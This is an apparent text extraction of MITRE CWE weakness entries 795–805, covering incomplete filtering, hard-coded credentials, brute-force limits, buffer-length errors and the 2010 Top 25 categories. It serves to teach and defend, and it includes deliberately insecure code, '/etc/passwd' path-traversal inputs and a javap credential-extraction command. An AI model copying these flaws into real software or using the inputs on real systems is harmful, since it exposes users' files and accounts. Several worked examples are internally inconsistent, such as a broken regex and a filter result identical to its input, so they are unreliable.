ChildOf		792	Incomplete Filtering of One or More Instances of Special Elements	1000	1214

## CWE-795: Only Filtering Special Elements at a Specified Location

Weakness ID: 795 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software receives data from an upstream component, but only accounts for special elements at a specified location, thereby missing remaining special elements that may exist before sending it to a downstream component.

#### Extended Description

A filter might only account for instances of special elements when they occur:  
 relative to a marker (e.g. "at the beginning/end of string; the second argument"), or  
 at an absolute position (e.g. "byte number 10").  
 This may leave special elements in the data that did not match the filter position, but still may be dangerous.

### Common Consequences

#### Integrity

#### Unexpected state

### Demonstrative Examples

The following code takes untrusted input and uses a regular expression to filter a "../" element located at the beginning of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

#### Perl Example:

Bad Code

```
my $Username = GetUntrustedInput();
$Username =~ s/^\.\.\/;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression is only looking for an instance of "../" at the beginning of the string, it only removes the first "../" element. So an input value such as:

Attack

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Result

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Result

```
/home/user../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		791	Incomplete Filtering of Special Elements	1000	1214
ParentOf		796	Only Filtering Special Elements Relative to a Marker	1000	1218
ParentOf		797	Only Filtering Special Elements at an Absolute Position	1000	1219

## CWE-796: Only Filtering Special Elements Relative to a Marker

**Weakness ID:** 796 (*Weakness Variant*)**Status:** Incomplete

### Description

#### Summary

The software receives data from an upstream component, but only accounts for special elements positioned relative to a marker (e.g. "at the beginning/end of a string; the second argument"), thereby missing remaining special elements that may exist before sending it to a downstream component.

### Common Consequences

#### Integrity

#### Unexpected state

### Demonstrative Examples

The following code takes untrusted input and uses a regular expression to filter a "../" element located at the beginning of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

#### Perl Example:

Bad Code

```
my $Username = GetUntrustedInput();
$Username =~ s/^\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression is only looking for an instance of "../" at the beginning of the string, it only removes the first "../" element. So an input value such as:

Attack

```
../../etc/passwd
```

will have the first "../" stripped, resulting in:

Result

```
../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Result

```
/home/user../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	795	Only Filtering Special Elements at a Specified Location	1000	1217

## CWE-797: Only Filtering Special Elements at an Absolute Position

Weakness ID: 797 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

The software receives data from an upstream component, but only accounts for special elements at an absolute position (e.g. "byte number 10"), thereby missing remaining special elements that may exist before sending it to a downstream component.

### Common Consequences

#### Integrity

#### Unexpected state

### Demonstrative Examples

The following code takes untrusted input and uses a substring function to filter a 3-character "../" element located at the 0-index position of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

#### Perl Example:

Bad Code

```
my $Username = GetUntrustedInput();
if (substr($Username, 0, 3) eq '../') {
    $Username = substr($Username, 3);
}
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the if function is only looking for a substring of "../" between the 0 and 2 position, it only removes that specific "../" element. So an input value such as:

Attack

```
../../../../etc/passwd
```

will have the first "../" filtered, resulting in:

Result

```
../../../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Result

```
/home/user../../../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	795	Only Filtering Special Elements at a Specified Location	1000	1217

## CWE-798: Use of Hard-coded Credentials

Weakness ID: 798 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.

#### Extended Description

Hard-coded credentials typically create a significant hole that allows an attacker to bypass the authentication that has been configured by the software administrator. This hole might be difficult for the system administrator to detect. Even if detected, it can be difficult to fix, so the administrator may be forced into disabling the product entirely. There are two main variations:

**Inbound:** the software contains an authentication mechanism that checks the input credentials against a hard-coded set of credentials.

**Outbound:** the software connects to another system or component, and it contains hard-coded credentials for connecting to that component.

In the Inbound variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the software. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the software will have the same password, even across different organizations, this enables massive attacks such as worms to take place.

The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end software. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.

#### Time of Introduction

- Architecture and Design

#### Applicable Platforms

##### Languages

- Language-independent

##### Architectural Paradigms

- Mobile Application

#### Common Consequences

##### Access Control

##### Bypass protection mechanism

If hard-coded passwords are used, it is almost certain that malicious users will gain access to the account in question.

##### Integrity

##### Confidentiality

##### Availability

##### Access Control

##### Other

##### Read application data

##### Gain privileges / assume identity

##### Execute unauthorized code or commands

##### Other

This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.

#### Likelihood of Exploit

Very High

#### Detection Methods

##### Black Box

##### Moderate

Credential storage in configuration files is findable using black box methods, but the use of hard-coded credentials for an incoming authentication routine typically involves an account that is not visible outside of the code.

### **Automated Static Analysis**

Automated white box techniques have been published for detecting hard-coded credentials for incoming authentication, but there is some expert disagreement regarding their effectiveness and applicability to a broad range of methods.

### **Manual Static Analysis**

This weakness may be detectable using manual code analysis. Unless authentication is decentralized and applied throughout the software, there can be sufficient time for the analyst to find incoming authentication routines and examine the program logic looking for usage of hard-coded credentials. Configuration files could also be analyzed.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

### **Manual Dynamic Analysis**

For hard-coded credentials in incoming authentication: use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and perform a login. Using call trees or similar artifacts from the output, examine the associated behaviors and see if any of them appear to be comparing the input to a fixed string or value.

### **Automated Static Analysis - Binary / Bytecode**

#### **SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

### **Manual Static Analysis - Binary / Bytecode**

#### **SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

### **Dynamic Analysis with manual results interpretation**

#### **SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Network Sniffer

Forced Path Execution

### **Manual Static Analysis - Source Code**

#### **SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

### **Automated Static Analysis - Source Code**

#### **SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer



**Automated Static Analysis****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Configuration Checker

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

**Demonstrative Examples****Example 1:**

The following code uses a hard-coded password to connect to a database:

**Java Example:***Bad Code*

```
...
DriverManager.getConnection(url, "scott", "tiger");
...
```

This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the `javap -c` command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:

*Attack*

```
javap -c ConnMngr.class
22: ldc #36; //String jdbc:mysql://ixne.com/rxsql
24: ldc #38; //String scott
26: ldc #17; //String tiger
```

**Example 2:**

The following code is an example of an internal hard-coded password in the back-end:

**C/C++ Example:***Bad Code*

```
int VerifyAdmin(char *password) {
    if (strcmp(password, "Mew!")) {
        printf("Incorrect Password!\n");
        return(0)
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

**Java Example:***Bad Code*

```
int VerifyAdmin(String password) {
    if (passwd.Equals("Mew!")) {
        return(0)
    }
    //Diagnostic Mode
    return(1);
}
```

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

**Example 3:**

The following code examples attempt to verify a password using a hard-coded cryptographic key.

#### C/C++ Example:

*Bad Code*

```
int VerifyAdmin(char *password) {
    if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {
        printf("Incorrect Password!\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

#### Java Example:

*Bad Code*

```
public boolean VerifyAdmin(String password) {
    if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {
        System.out.println("Entering Diagnostic Mode...");
        return true;
    }
    System.out.println("Incorrect Password!");
    return false;
}
```

#### C# Example:

*Bad Code*

```
int VerifyAdmin(String password) {
    if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {
        Console.WriteLine("Entering Diagnostic Mode...");
        return(1);
    }
    Console.WriteLine("Incorrect Password!");
    return(0);
}
```

The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system.

#### Example 4:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext. This Java example shows a properties file with a plaintext username / password pair.

#### Java Example:

*Bad Code*

```
# Java Web App ResourceBundle properties file
...
webapp.Idap.username=secretUsername
webapp.Idap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

#### ASP.NET Example:

*Bad Code*

```
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

#### Observed Examples

Reference	Description
CVE-2005-0496	Backup product contains hard-coded credentials that effectively serve as a back door, which allows remote attackers to access the file system

Reference	Description
CVE-2005-3716	VoIP product uses unchangeable hard-coded public credentials that cannot be changed, which allows attackers to obtain sensitive information
CVE-2005-3803	VoIP product uses hard coded public and private SNMP community strings that cannot be changed, which allows remote attackers to obtain sensitive information
CVE-2006-7142	Drive encryption product stores hard-coded cryptographic keys for encrypted configuration files in executable programs
CVE-2008-0961	Backup product uses hard-coded username and password, allowing attackers to bypass authentication via the RPC interface
CVE-2008-1160	Security appliance uses hard-coded password allowing attackers to gain root access
CVE-2008-2369	Server uses hard-coded authentication key
CVE-2010-1573	Chain: Router firmware uses hard-coded username and password for access to debug functionality, which can be used to execute arbitrary code
CVE-2010-2073	FTP server library uses hard-coded usernames and passwords for three default accounts
CVE-2010-2772	SCADA system uses a hard-coded password to protect back-end database containing authorization information, exploited by Stuxnet worm

## Potential Mitigations

### Architecture and Design

For outbound authentication: store passwords, keys, and other credentials outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320).

If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible [R.798.1].

In Windows environments, the Encrypted File System (EFS) may provide some protection.

### Architecture and Design

For inbound authentication: Rather than hard-code a default username and password, key, or other authentication credentials for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password or key.

### Architecture and Design

If the software must contain hard-coded credentials or they cannot be removed, perform access control checks and limit which entities can access the feature that requires the hard-coded credentials. For example, a feature might only be enabled through the system console instead of through a network connection.

### Architecture and Design

For inbound authentication using passwords: apply strong one-way hashes to passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When handling an incoming password during authentication, take the hash of the password and compare it to the saved hash.

Use randomly assigned salts for each separate hash that is generated. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

### Architecture and Design

For front-end to back-end connections: Three solutions are possible, although none are complete.

The first suggestion involves the use of generated passwords or keys that are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals.

Next, the passwords or keys should be limited at the back end to only performing actions valid for the front end, as opposed to having full access.

Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay-style attacks.

## Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

## Relationships

Nature	Type	ID	Name	▼	Page
ChildOf	C	254	Security Features	700	452
ChildOf	C	255	Credentials Management	699	453
PeerOf	B	257	Storing Passwords in a Recoverable Format	1000	456
ChildOf	G	287	Improper Authentication	1000	507
ChildOf	B	344	Use of Invariant Value in Dynamically Changing Context	1000	599
ChildOf	G	671	Lack of Administrator Control over Security	1000	1038
ChildOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1117
ChildOf	C	753	2009 Top 25 - Porous Defenses	750	1143
ChildOf	C	803	2010 Top 25 - Porous Defenses	800	1229
ChildOf	C	812	OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management	809	1246
ChildOf	C	861	CERT Java Secure Coding Section 49 - Miscellaneous (MSC)	844	1298
ChildOf	C	866	2011 Top 25 - Porous Defenses	900	1309
ParentOf	B	259	<i>Use of Hard-coded Password</i>	699 1000	459
ParentOf	B	321	<i>Use of Hard-coded Cryptographic Key</i>	699 1000	565
MemberOf	V	884	<i>CWE Cross-section</i>	884	1319

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	MSC03-J	Never hard code sensitive information

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
70	Try Common(default) Usernames and Passwords	
188	Reverse Engineering	
189	Software Reverse Engineering	
190	Reverse Engineer an Executable to Expose Assumed Hidden Functionality or Content	
191	Read Sensitive Strings Within an Executable	
192	Protocol Reverse Engineering	

### References

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 8, "Key Management Issues" Page 272. 2nd Edition. Microsoft. 2002.

Johannes Ullrich. "Top 25 Series - Rank 11 - Hardcoded Credentials". SANS Software Security Institute. 2010-03-10. < <http://blogs.sans.org/appsecstreetfighter/2010/03/10/top-25-series-rank-11-hardcoded-credentials/> >.

[REF-33] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. < <http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/> >.

## CWE-799: Improper Control of Interaction Frequency

Weakness ID: 799 (Weakness Class)

Status: Incomplete

### Description

#### Summary

The software does not properly limit the number or frequency of interactions that it has with an actor, such as the number of incoming requests.

#### Extended Description

This can allow the actor to perform actions more frequently than expected. The actor could be a human or an automated process such as a virus or bot. This could be used to cause a denial of service, compromise program logic (such as limiting humans to a single vote), or other consequences. For example, an authentication routine might not limit the number of times an

attacker can guess a password. Or, a web site might conduct a poll but only expect humans to vote a maximum of once a day.

### Alternate Terms

#### Insufficient anti-automation

The term "insufficient anti-automation" focuses primarily on non-human actors such as viruses or bots, but the scope of this CWE entry is broader.

#### Brute force

Vulnerabilities that can be targeted using brute force attacks are often symptomatic of this weakness.

### Time of Introduction

- Architecture and Design
- Implementation
- Operation

### Applicable Platforms

#### Languages

- Language-independent

### Common Consequences

#### Availability

#### Access Control

#### Other

#### DoS: resource consumption (other)

#### Bypass protection mechanism

#### Other

### Demonstrative Examples

In the following code a username and password is read from a socket and an attempt is made to authenticate the username and password. The code will continuously checked the socket for a username and password until it has been authenticated.

#### C/C++ Example:

*Bad Code*

```
char username[USERNAME_SIZE];
char password[PASSWORD_SIZE];
while (isValidUser == 0) {
    if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
        if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
            isValidUser = AuthenticateUser(username, password);
        }
    }
}
return(SUCCESS);
```

This code does not place any restriction on the number of authentication attempts made. There should be a limit on the number of authentication attempts made to prevent brute force attacks as in the following example code.

#### C/C++ Example:

*Good Code*

```
int count = 0;
while ((isValidUser == 0) && (count < MAX_ATTEMPTS)) {
    if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
        if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
            isValidUser = AuthenticateUser(username, password);
        }
    }
    count++;
}
if (isValidUser) {
    return(SUCCESS);
}
else {
    return(FAIL);
}
```

## Observed Examples

Reference	Description
CVE-2002-1876	Mail server allows attackers to prevent other users from accessing mail by sending large number of rapid requests.

## Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	438	Behavioral Problems	<b>699</b>	752
ChildOf	<b>G</b>	691	Insufficient Control Flow Management	<b>1000</b>	1072
ChildOf	<b>C</b>	808	2010 Top 25 - Weaknesses On the Cusp	<b>800</b>	1244
ChildOf	<b>C</b>	840	Business Logic Errors	699	1283
ParentOf	<b>B</b>	307	<i>Improper Restriction of Excessive Authentication Attempts</i>	1000	541
ParentOf	<b>B</b>	837	<i>Improper Enforcement of a Single, Unique Action</i>	<b>699</b>	1276
				<b>1000</b>	

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
WASC	21	Insufficient Anti-Automation

## References

Web Application Security Consortium. "Insufficient Anti-automation". < <http://projects.webappsec.org/Insufficient+Anti-automation> >.

# CWE-800: Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors

View ID: 800 (View: Graph)

Status: Incomplete

## Objective

CWE entries in this view (graph) are listed in the 2010 CWE/SANS Top 25 Programming Errors.

## View Data

### View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>45</b>	out of	1003
<b>Views</b>	0	out of	32
<b>Categories</b>	4	out of	244
<b>Weaknesses</b>	39	out of	719
<b>Compound_Elements</b>	2	out of	8

## View Audience

### Developers

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

### Software Customers

If a software developer claims to be following the Top 25, then customers can use the weaknesses in this view in order to formulate independent evidence of that claim.

### Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
HasMember	<b>C</b>	801	2010 Top 25 - Insecure Interaction Between Components	<b>800</b>	1228
HasMember	<b>C</b>	802	2010 Top 25 - Risky Resource Management	<b>800</b>	1228
HasMember	<b>C</b>	803	2010 Top 25 - Porous Defenses	<b>800</b>	1229
HasMember	<b>C</b>	808	2010 Top 25 - Weaknesses On the Cusp	<b>800</b>	1244



**References**

"2010 CWE/SANS Top 25 Most Dangerous Programming Errors". 2010-02-04. < <http://cwe.mitre.org/top25> >.

## CWE-801: 2010 Top 25 - Insecure Interaction Between Components

**Category ID:** 801 (Category) **Status:** Incomplete

**Description****Summary**

Weaknesses in this category are listed in the "Insecure Interaction Between Components" section of the 2010 CWE/SANS Top 25 Programming Errors.

**Relationships**

Nature	Type	ID	Name	V	Page
ParentOf	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	800	121
ParentOf	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	800	131
ParentOf	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	800	159
ParentOf	B	209	Information Exposure Through an Error Message	800	397
ParentOf	B	352	Cross-Site Request Forgery (CSRF)	800	611
ParentOf	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	800	627
ParentOf	B	434	Unrestricted Upload of File with Dangerous Type	800	742
ParentOf	V	601	URL Redirection to Untrusted Site ('Open Redirect')	800	942
MemberOf	V	800	Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors	800	1227

**References**

"2010 CWE/SANS Top 25 Most Dangerous Programming Errors". 2010-02-04. < <http://cwe.mitre.org/top25> >.

## CWE-802: 2010 Top 25 - Risky Resource Management

**Category ID:** 802 (Category) **Status:** Incomplete

**Description****Summary**

Weaknesses in this category are listed in the "Risky Resource Management" section of the 2010 CWE/SANS Top 25 Programming Errors.

**Relationships**

Nature	Type	ID	Name	V	Page
ParentOf	C	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	800	30
ParentOf	B	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	800	184
ParentOf	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	800	234
ParentOf	B	129	Improper Validation of Array Index	800	258
ParentOf	B	131	Incorrect Calculation of Buffer Size	800	269
ParentOf	B	190	Integer Overflow or Wraparound	800	361
ParentOf	B	494	Download of Code Without Integrity Check	800	835
ParentOf	C	754	Improper Check for Unusual or Exceptional Conditions	800	1143
ParentOf	B	770	Allocation of Resources Without Limits or Throttling	800	1175
MemberOf	V	800	Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors	800	1227
ParentOf	B	805	Buffer Access with Incorrect Length Value	800	1230



**References**

"2010 CWE/SANS Top 25 Most Dangerous Programming Errors". 2010-02-04. < <http://cwe.mitre.org/top25> >.

**CWE-803: 2010 Top 25 - Porous Defenses**

**Category ID:** 803 (Category) **Status:** Incomplete

**Description**

**Summary**

Weaknesses in this category are listed in the "Porous Defenses" section of the 2010 CWE/SANS Top 25 Programming Errors.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ParentOf	C	285	Improper Authorization	800	501
ParentOf	V	306	Missing Authentication for Critical Function	800	537
ParentOf	B	311	Missing Encryption of Sensitive Data	800	548
ParentOf	B	327	Use of a Broken or Risky Cryptographic Algorithm	800	573
ParentOf	C	732	Incorrect Permission Assignment for Critical Resource	800	1121
ParentOf	B	798	Use of Hard-coded Credentials	800	1219
MemberOf	V	800	Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors	800	1227
ParentOf	B	807	Reliance on Untrusted Inputs in a Security Decision	800	1239

**References**

"2010 CWE/SANS Top 25 Most Dangerous Programming Errors". 2010-02-04. < <http://cwe.mitre.org/top25> >.

**CWE-804: Guessable CAPTCHA**

**Weakness ID:** 804 (Weakness Base) **Status:** Incomplete

**Description**

**Summary**

The software uses a CAPTCHA challenge, but the challenge can be guessed or automatically recognized by a non-human actor.

**Extended Description**

An automated attacker could bypass the intended protection of the CAPTCHA challenge and perform actions at a higher frequency than humanly possible, such as launching spam attacks.

There can be several different causes of a guessable CAPTCHA:

An audio or visual image that does not have sufficient distortion from the unobfuscated source image.

A question is generated that with a format that can be automatically recognized, such as a math question.

A question for which the number of possible answers is limited, such as birth years or favorite sports teams.

A general-knowledge or trivia question for which the answer can be accessed using a data base, such as country capitals or popular actors.

Other data associated with the CAPTCHA may provide hints about its contents, such as an image whose filename contains the word that is used in the CAPTCHA.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- Language-independent

**Technology Classes**

- Web-Server (Sometimes)

### Common Consequences

#### Access Control

#### Other

#### Bypass protection mechanism

#### Other

When authorization, authentication, or another protection mechanism relies on CAPTCHA entities to ensure that only human actors can access certain functionality, then an automated attacker such as a bot may access the restricted functionality by guessing the CAPTCHA.

### Likelihood of Exploit

Medium to High

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		287	Improper Authentication	699 1000	507
ChildOf		330	Use of Insufficiently Random Values	699 1000	581
ChildOf		808	2010 Top 25 - Weaknesses On the Cusp	<b>800</b>	1244
ChildOf		863	Incorrect Authorization	<b>699</b> <b>1000</b>	1304

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
WASC	21	Insufficient Anti-Automation

### References

Web Application Security Consortium. "Insufficient Anti-automation". < <http://projects.webappsec.org/Insufficient+Anti-automation> >.

## CWE-805: Buffer Access with Incorrect Length Value

Weakness ID: 805 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software uses a sequential operation to read or write a buffer, but it uses an incorrect length value that causes it to access memory that is outside of the bounds of the buffer.

#### Extended Description

When the length value exceeds the size of the destination, a buffer overflow could occur.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C (Often)
- C++ (Often)
- Assembly

### Common Consequences

#### Integrity

#### Confidentiality

#### Availability

#### Execute unauthorized code or commands

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.

**Availability****DoS: crash / exit / restart****DoS: resource consumption (CPU)**

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

**Likelihood of Exploit**

Medium to High

**Detection Methods****Automated Static Analysis****High**

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Detection techniques for buffer-related errors are more mature than for most other weakness types.

**Automated Dynamic Analysis****Moderate**

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring manual methods to diagnose the underlying problem.

**Manual Analysis**

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

**Demonstrative Examples****Example 1:**

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

**C Example:***Bad Code*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname under the assumption that the maximum length value of hostname is 64 bytes, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

**Example 2:**

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

**C Example:***Bad Code*

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
     * else, return -1 to indicate an error
     */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

**Example 3:**

In the following example, the source character string is copied to the dest character string using the method strncpy.

**C/C++ Example:***Bad Code*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(source)-1);
...
```

However, in the call to strncpy the source character string is used within the sizeof call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the sizeof call to ensure that the correct number of characters are copied, as shown below.

**C/C++ Example:***Good Code*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(dest)-1);
...
```

**Example 4:**

In this example, the method outputFilenameToLog outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file.

**C++/C Example:***Bad Code*

```
#define LOG_INPUT_SIZE 40
// saves the file name to a log file
int outputFilenameToLog(char *filename, int length) {
    int success;
    // buffer with size set to maximum size for input to log file
    char buf[LOG_INPUT_SIZE];
    // copy filename to buffer
    strncpy(buf, filename, length);
    // save to log file
    success = saveToLogFile(buf);
    return success;
}
```

}

However, in this case the string copy method, `strncpy`, mistakenly uses the length method argument to determine the number of characters to copy rather than using the size of the local character string, `buf`. This can lead to a buffer overflow if the number of characters contained in character string pointed to by `filename` is larger than the number of characters allowed for the local character string. The string copy method should use the `buf` character string within a `sizeof` call to ensure that only characters up to the size of the `buf` array are copied to avoid a buffer overflow, as shown below.

**C/C++ Example:***Good Code*

```
...
// copy filename to buffer
strncpy(buf, filename, sizeof(buf)-1);
...
```

**Observed Examples**

Reference	Description
